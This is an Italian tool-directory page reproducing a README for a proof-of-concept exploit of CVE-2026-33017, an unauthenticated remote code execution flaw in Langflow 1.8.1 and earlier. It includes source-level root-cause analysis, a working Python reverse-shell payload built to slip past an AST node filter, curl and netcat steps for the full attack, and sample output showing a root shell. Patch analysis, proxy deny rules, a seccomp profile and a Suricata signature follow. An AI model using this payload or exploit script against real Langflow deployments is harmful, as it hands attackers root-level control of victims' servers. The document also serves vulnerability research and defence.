Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-33017 — PoC exploit per una RCE non autenticata in Langflow <=1.8.1, che include analisi della causa principale a livello di sorgente, payload di reverse shell basato su AST, lab Docker, diff della patch e regole di rilevamento. | Kitploit
Strumenti/GitHubGitHub/lxxexxbxx/cve-2026-33017
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebApprendimento e FormazioneSviluppo PayloadLab e Pratica
GitHublxxexxbxx/cve-2026-33017

CVE-2026-33017

PoC exploit per una RCE non autenticata in Langflow <=1.8.1, che include analisi della causa principale a livello di sorgente, payload di reverse shell basato su AST, lab Docker, diff della patch e regole di rilevamento.

Vedi Repository
1129 giorni faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2026-33017 — PoC RCE non autenticata di Langflow

Disclaimer
Questo repository è stato creato a scopo di ricerca e formazione sulla sicurezza.
Utilizzarlo esclusivamente in ambienti di laboratorio isolati.
L'uso su sistemi non autorizzati costituisce una violazione della legge sulle reti di comunicazione e informazione ed è passibile di sanzioni penali.


1. Panoramica della vulnerabilità

VoceDettaglio
CVE IDCVE-2026-33017
Software vulnerabileLangflow (costruttore di workflow AI)
Versioni interessateLangflow ≤ 1.8.1
Versione con patchLangflow ≥ 1.9.0
Tipo di vulnerabilitàEsecuzione remota di codice (RCE) non autenticata
CWECWE-306 (Missing Authentication for Critical Function)
CVSS9.3 (Critical)
CISA KEVInclusa

2. Analisi della causa della vulnerabilità

2-1. Endpoint vulnerabile

root@kitploit:~
POST /api/v1/build_public_tmp/{flow_id}/flow

È un endpoint destinato alla creazione di flussi pubblici, progettato per essere accessibile senza autenticazione.

2-2. Percorso di esecuzione del codice (Call Chain)

Percorso di esecuzione verificato tracciando direttamente il codice sorgente:

root@kitploit:~
HTTP POST /api/v1/build_public_tmp/{flow_id}/flow
    │
    ▼
langflow/api/v1/chat.py — build_public_tmp()
    data = request.body["data"]          ← riceve l'input del cliente così com'è (vulnerabilità)
    │
    ▼
langflow/api/build.py — start_flow_build()
    data = FlowDataRequest               ← inoltra i dati del cliente così come sono
    │
    ▼
lfx/custom/eval.py — eval_custom_component_code()
    class_name = validate.extract_class_name(code)
    return validate.create_class(code, class_name)
    │
    ▼
lfx/custom/validate.py — create_class()
    module = ast.parse(code)
    exec_globals = prepare_global_scope(module)
    │
    ▼
lfx/custom/validate.py — prepare_global_scope()
    exec(compiled_code, exec_globals)    ← esecuzione di codice arbitrario

2-3. Filtraggio dei nodi AST — vincolo fondamentale per la progettazione del payload

La funzione prepare_global_scope() non esegue tutte le istruzioni del codice inviato. Dopo il parsing AST, seleziona ed esegue solo tipi di nodo specifici:

root@kitploit:~
# lfx/custom/validate.py — interno di prepare_global_scope()
for node in module.body:
    if isinstance(node, ast.Import):
        imports.append(node)
    elif isinstance(node, ast.ImportFrom):
        import_froms.append(node)
    elif isinstance(node, ast.ClassDef | ast.FunctionDef | ast.Assign | ast.AnnAssign):
        definitions.append(node)
    # ↑ Il nodo Expr non è incluso in nessun ramo → non viene eseguito

exec(compiled_code, exec_globals)  # vengono eseguite solo definitions

Tipi di nodo AST eseguibili:

Tipo di nodo ASTEsempioEsecuzione
FunctionDefdef _shell(): ...✅ Eseguito
ClassDefclass ExploitComponent(Component)✅ Eseguito
Assign_r = os.system("id")✅ Eseguito
AnnAssign_r: int = os.system("id")✅ Eseguito
Expros.system("id") (chiamata singola)❌ Ignorato

Conclusione: il payload deve essere obbligatoriamente scritto nella forma Assign (_r = ...) per essere eseguito.
Una semplice chiamata di funzione (os.system("id")) viene classificata come nodo Expr e filtrata.

2-4. Processo di progettazione del payload di reverse shell — analisi dei tentativi e dei fallimenti

Durante l'esercitazione sono stati provati diversi approcci di payload e per ciascun fallimento la causa è stata individuata a livello di sorgente.

Tentativo 1 — subprocess.Popen + wait() (fallito)

root@kitploit:~
_s = socket.socket()
_s.connect(("attacker", 4444))
_proc = subprocess.Popen(["/bin/bash", "-i"], stdin=_s.fileno(), ...)
_proc.wait()   # ← bloccante qui

Causa del fallimento: il thread worker di Langflow, monitorando il valore di ritorno del componente, chiude forzatamente la socket al timeout. Il blocco di _proc.wait() diventa inutile.

Tentativo 2 — chiamata diretta a os.execve() (fallito)

root@kitploit:~
os.dup2(_fd, 0); os.dup2(_fd, 1); os.dup2(_fd, 2)
os.execve("/bin/bash", ["/bin/bash", "-i"], os.environ.copy())

Causa del fallimento: secondo le regole POSIX, in un processo multithread la chiamata a execve() termina tutti i thread tranne quello chiamante → crash dell'intero worker uvicorn → HTTP 500.

Tentativo 3 — os.fork() + execve() (fallito)

root@kitploit:~
_pid = os.fork()
if _pid == 0:
    os.execve("/bin/bash", ...)

Causa del fallimento: uvicorn rileva la terminazione anomala del processo figlio e riavvia il worker → HTTP 500.

Tentativo 4 — threading.Thread(daemon=True) (fallito)

root@kitploit:~
threading.Thread(target=_shell, daemon=True).start()

Causa del fallimento: un thread con daemon=True viene distrutto insieme al thread principale (worker Langflow) quando termina. Il thread muore prima del tentativo di connect().

Payload funzionante finale — threading.Thread(daemon=False) + Assign

root@kitploit:~
# FunctionDef → eseguito
def _shell():
    _s = socket.socket()
    _s.connect(("attacker_ip", 4444))
    _p = subprocess.Popen(["/bin/bash", "-i"],
        stdin=_s.fileno(), stdout=_s.fileno(), stderr=_s.fileno())
    _p.wait()
    _s.close()

# Assign → eseguito (le chiamate Expr isolate sono escluse dal filtro, quindi è obbligatoria l'assegnazione a una variabile)
_t = threading.Thread(target=_shell, daemon=False)
_r = _t.start()

Motivo della scelta di daemon=False:

  • daemon=True → viene distrutto insieme al thread worker di Langflow al termine
  • daemon=False → ciclo di vita indipendente dal worker → consente di mantenere attiva la connessione della socket

3. Configurazione dell'ambiente di laboratorio

3-1. Struttura dei file

root@kitploit:~
CVE-2026-33017/
├── README.md
├── Dockerfile              # Ambiente Langflow 1.8.1 vulnerabile
├── Dockerfile.attacker     # Contenitore dell'attaccante (include curl, nc, net-tools)
├── docker-compose.yml      # Server vulnerabile + contenitore dell'attaccante
├── entrypoint.sh           # Avvio di Langflow e creazione automatica del flusso pubblico
├── exploit.py              # PoC di reverse shell
└── poc.py                  # Blind RCE / verifica dell'esistenza della vulnerabilità

3-2. Avvio dell'ambiente

root@kitploit:~
# 1. Creazione e avvio dei contenitori
docker compose up --build

# 2. Verifica dell'accesso alla Web UI di Langflow
# http://localhost:7860
# admin / admin123!

# 3. Verifica degli IP dei contenitori
docker inspect langflow-vuln-lab | grep '"IPAddress"'
docker inspect langflow-attacker | grep '"IPAddress"'

3-3. Configurazione di rete

root@kitploit:~
┌──────────────────────────────────────────────────┐
│  Docker Bridge Network: poc-net                  │
│                                                  │
│  langflow-vuln-lab   172.19.0.2:7860  (vittima)  │
│  langflow-attacker   172.19.0.3     (attaccante) │
└──────────────────────────────────────────────────┘

4. Utilizzo del PoC

4-1. exploit.py — reverse shell

Eseguire all'interno del contenitore dell'attaccante:

root@kitploit:~
docker exec -it langflow-attacker bash

# Modalità automatica (emissione token + creazione flusso pubblico + listener integrato)
python3 exploit.py \
  --url http://172.19.0.2:7860 \
  --lhost 172.19.0.3 \
  --lport 4444

Opzioni:

OpzioneDescrizioneDefault
--urlURL di Langflow di destinazioneObbligatorio
--lhostIP di callback per la reverse shellObbligatorio
--lportPorta di callback per la reverse shellObbligatorio
--flow-idUUID del flusso pubblico (se omesso, generato automaticamente)Automatico
--userID amministratoreadmin
--passwordPassword amministratoreadmin123!
--no-listenDisattiva il listener integrato (per l'uso di un nc esterno)False
--timeoutTimeout HTTP (secondi)30

Output previsto:

root@kitploit:~
============================================================
  CVE-2026-33017 — PoC RCE non autenticata di Langflow
============================================================
[*] Accesso in corso... (admin)
[*] Token emesso con successo
[*] Creazione del flusso pubblico in corso...
[*] Flow ID    : 3b88b6fa-ce95-4da8-894b-27b728ca4770
[*] Listener avviato → 0.0.0.0:4444
[*] Endpoint   : http://172.19.0.2:7860/api/v1/build_public_tmp/...
[*] Callback   : 172.19.0.3:4444
[*] Invio del payload in corso...
[*] Risposta HTTP : 200

[+] Shell connessa  ← 172.19.0.2:XXXXX
────────────────────────────────────────────────────────────
bash-5.2# id
uid=0(root) gid=0(root) groups=0(root)

4-2. poc.py — verifica Blind RCE

Da usare quando si vuole verificare solo l'esistenza della vulnerabilità:

root@kitploit:~
python3 poc.py \
  --url http://172.19.0.2:7860 \
  --cmd "id"

4-3. Riproduzione manuale con curl

root@kitploit:~
# 1. Emissione del token + creazione del flusso pubblico
TOKEN=$(curl -s -X POST 'http://172.19.0.2:7860/api/v1/login' \
  -H 'Content-Type: application/x-www-form-urlencoded' \
  -d 'username=admin&password=admin123!' \
  | sed -n 's/.*"access_token":"\([^"]*\)".*/\1/p') && \
FLOW_ID=$(curl -s -X POST 'http://172.19.0.2:7860/api/v1/flows/' \
  -H "Authorization: Bearer $TOKEN" \
  -H 'Content-Type: application/json' \
  -d '{"name":"poc-flow","data":{"nodes":[],"edges":[],"viewport":{}},"is_component":false,"access_type":"PUBLIC"}' \
  | python3 -c "import sys,json; d=json.load(sys.stdin); print(d['id'])") && \
curl -s -X PATCH "http://172.19.0.2:7860/api/v1/flows/${FLOW_ID}" \
  -H "Authorization: Bearer $TOKEN" \
  -H 'Content-Type: application/json' \
  -d '{"access_type":"PUBLIC"}' > /dev/null && \
echo "FLOW_ID: $FLOW_ID"

# 2. Listener nc (terminale 1)
nc -lvnp 4444

# 3. Invio del payload (terminale 2)
curl -s -X POST "http://172.19.0.2:7860/api/v1/build_public_tmp/${FLOW_ID}/flow" \
  -H 'Content-Type: application/json' \
  -b 'client_id=poc-12345' \
  -d @/tmp/payload.json

5. Differenze di ruolo tra exploit.py e poc.py

Voceexploit.pypoc.py
ScopoOttenere una reverse shellVerificare l'esistenza della vulnerabilità (Blind RCE)
Verifica del risultatoDirettamente nel terminale dell'attaccanteLog del server / OOB
ListenerIntegratoNon necessario
Obiettivi multipliNon supportatoSupportato (--url-file)
Uso in laboratorioDimostrazione dell'impattoDimostrazione dell'esistenza della vulnerabilità

6. Analisi della patch — 1.8.1 vs 1.9.1

6-1. Codice vulnerabile (1.8.1)

langflow/api/v1/chat.py:

root@kitploit:~
@router.post("/build_public_tmp/{flow_id}/flow")
async def build_public_tmp(
    *,
    flow_id: uuid.UUID,
    data: FlowDataRequest | None = None,  # ← riceve l'input del cliente
    ...
):
    job_id = await start_flow_build(
        flow_id=new_flow_id,
        data=data,   # ← inoltra i dati del cliente così come sono alla pipeline di build
        ...
    )

6-2. Codice della patch (1.9.1)

langflow/api/v1/chat.py (verificato direttamente nel sorgente):

root@kitploit:~
@router.post("/build_public_tmp/{flow_id}/flow")
async def build_public_tmp(
    *,
    flow_id: uuid.UUID,
    # parametro data completamente rimosso dalla firma
    ...
):
    """
    Security Note:
    - The 'data' parameter is NOT accepted to prevent flow definition tampering
    - Public flows must execute the stored flow definition only
    - The flow definition is always loaded from the database
    """
    job_id = await start_flow_build(
        flow_id=new_flow_id,
        data=None,            # ← None hardcoded, input del cliente completamente bloccato
        source_flow_id=flow_id,  # ← la definizione del flusso viene caricata solo dal DB
        ...
    )

6-3. Confronto del comportamento prima e dopo la patch

Voce1.8.1 (vulnerabile)1.9.1 (patchata)
Ricezione del parametro data✅ Ricevuto❌ Rimosso dalla firma
Esecuzione delle definizioni dei nodi del cliente✅ Possibile❌ Impossibile
Origine della definizione del flussoCorpo della richiesta del clienteSolo valori salvati nel DB
RCE senza autenticazione✅ Riuscita❌ Bloccata
Risposta HTTP200 + shell connessa200 (build vuota, nessun nodo)

6-4. Valutazione della progettazione della patch

Perché la progettazione che rimuove il parametro stesso, anziché una semplice validazione dell'input, è quella corretta:

root@kitploit:~
Progettazione vulnerabile: input del cliente → validazione → esecuzione  (possibile bypass della validazione)
Progettazione della patch:   input del cliente → completamente ignorato
                             solo flusso salvato nel DB → esecuzione     (percorso di attacco eliminato alla radice)

7. Misure di mitigazione

Misura 1 — Aggiornamento della versione (soluzione definitiva)

root@kitploit:~
pip install langflow==1.9.1

Misura 2 — Blocco dell'endpoint tramite proxy inverso Nginx

Posizione del file: nginx.conf (da creare)

root@kitploit:~
server {
    listen 80;

    # Blocco dell'endpoint vulnerabile CVE-2026-33017
    location ~ ^/api/v1/build_public_tmp/ {
        deny all;
        return 403;
    }

    location / {
        proxy_pass http://langflow:7860;
        proxy_set_header Host $host;
        proxy_set_header X-Real-IP $remote_addr;
    }
}

Nota: per un'efficacia reale, è necessario bloccare anche l'esposizione diretta esterna della porta 7860 di Langflow.

Misura 3 — Blocco dell'endpoint tramite proxy inverso Apache

Posizione del file:

  • Ubuntu/Debian: /etc/apache2/sites-available/langflow.conf
  • CentOS/RHEL: /etc/httpd/conf.d/langflow.conf
root@kitploit:~
<Location "/api/v1/build_public_tmp/">
    Require all denied
</Location>

Misura 4 — Politica di non utilizzo dei flussi pubblici

Senza flussi pubblici, l'endpoint restituisce 404 e l'attacco non è possibile.
Come politica operativa, vietare la creazione di flussi pubblici o impostare i flussi esistenti su PRIVATE.

Misura 5 — AWS Security Group (livello di rete)

Per ambienti EC2:

root@kitploit:~
Regole in ingresso:
  Porta 7860 → consentire solo IP autorizzati (rimuovere 0.0.0.0/0)

Misura 6 — Blocco del traffico in uscita del contenitore (blocco della callback della reverse shell)

Anche se l'RCE riesce, bloccare le callback esterne:

root@kitploit:~
# Blocco del traffico in uscita del contenitore langflow
iptables -I DOCKER-USER -s <langflow_container_ip> -j DROP

oppure in docker-compose.yml:

root@kitploit:~
langflow-vuln-lab:
  sysctls:
    - net.ipv4.ip_forward=0

Misura 7 — Hardening del contenitore (minimizzazione dei danni)

root@kitploit:~
langflow-vuln-lab:
  security_opt:
    - no-new-privileges:true
  cap_drop:
    - ALL
  user: "1000:1000"
  read_only: true
  tmpfs:
    - /tmp

Blocco delle syscall pericolose tramite profilo seccomp (langflow-seccomp.json):

root@kitploit:~
{
  "defaultAction": "SCMP_ACT_ALLOW",
  "syscalls": [
    {
      "names": ["socket", "connect", "fork", "execve"],
      "action": "SCMP_ACT_ERRNO"
    }
  ]
}
root@kitploit:~
security_opt:
  - seccomp:./langflow-seccomp.json

Riepilogo delle misure

MisuraTipoEffetto
Aggiornamento a 1.9.1Soluzione definitivaRimozione del parametro data
Blocco Nginx/ApacheBlocco dell'accessoBlocco del percorso di attacco
Non uso di flussi pubbliciBlocco dell'accessoEndpoint 404
AWS Security GroupBlocco di reteBlocco alla fonte dell'accesso esterno
Blocco del traffico in uscitaBlocco successivoBlocco della callback della reverse shell
Hardening del contenitoreMinimizzazione dei danniBlocco di escalation dei privilegi/syscall

8. Rilevamento — IoC

Modelli di rilevamento

Richieste HTTP sospette:

root@kitploit:~
POST /api/v1/build_public_tmp/*/flow
Content-Type: application/json
Body: {"data": {"nodes": [{"type": "CustomComponent", ...}]}}

Modelli di log del server Langflow:

root@kitploit:~
[warning] Graph has vertices but no edges
[warning] ExploitComponent returned None.
[error]   Exception in worker process

Regole Suricata/Snort

root@kitploit:~
alert http any any -> any 7860 (
    msg:"CVE-2026-33017 Langflow RCE Attempt";
    flow:established,to_server;
    content:"POST"; http_method;
    content:"/build_public_tmp/"; http_uri;
    content:"CustomComponent"; http_client_body;
    classtype:web-application-attack;
    sid:2026033017; rev:1;
)

9. Riferimenti

  • NVD — CVE-2026-33017
  • EQSTLab/CVE-2026-33017
  • Commit ufficiale della patch di Langflow
  • CISA KEV
  • JFrog Security Research

10. Differenze rispetto ai PoC pubblici esistenti

Oltre alla semplice esecuzione del PoC, questo repository ha ulteriormente chiarito i seguenti punti tramite analisi a livello di sorgente:

  1. Scoperta del filtraggio dei nodi AST
    Verificato direttamente tramite analisi del sorgente che prepare_global_scope() in lfx/custom/validate.py ignora i nodi Expr. Ciò spiega perché il payload dei PoC pubblici esistenti, basato su semplici chiamate di funzione, fallisce in questo ambiente.

  2. Analisi delle cause dei fallimenti del payload
    Analizzate le cause dei fallimenti di 4 approcci — Popen+wait(), execve(), fork()+execve(), thread con daemon=True — dal punto di vista dell'architettura multithread di uvicorn e delle regole POSIX.

  3. Verifica diretta del codice della patch
    Verificato direttamente a livello di sorgente in chat.py della 1.9.1 l'hardcoding di data=None e la rimozione del parametro, analizzando l'intento progettuale della patch.

Scarica lo strumento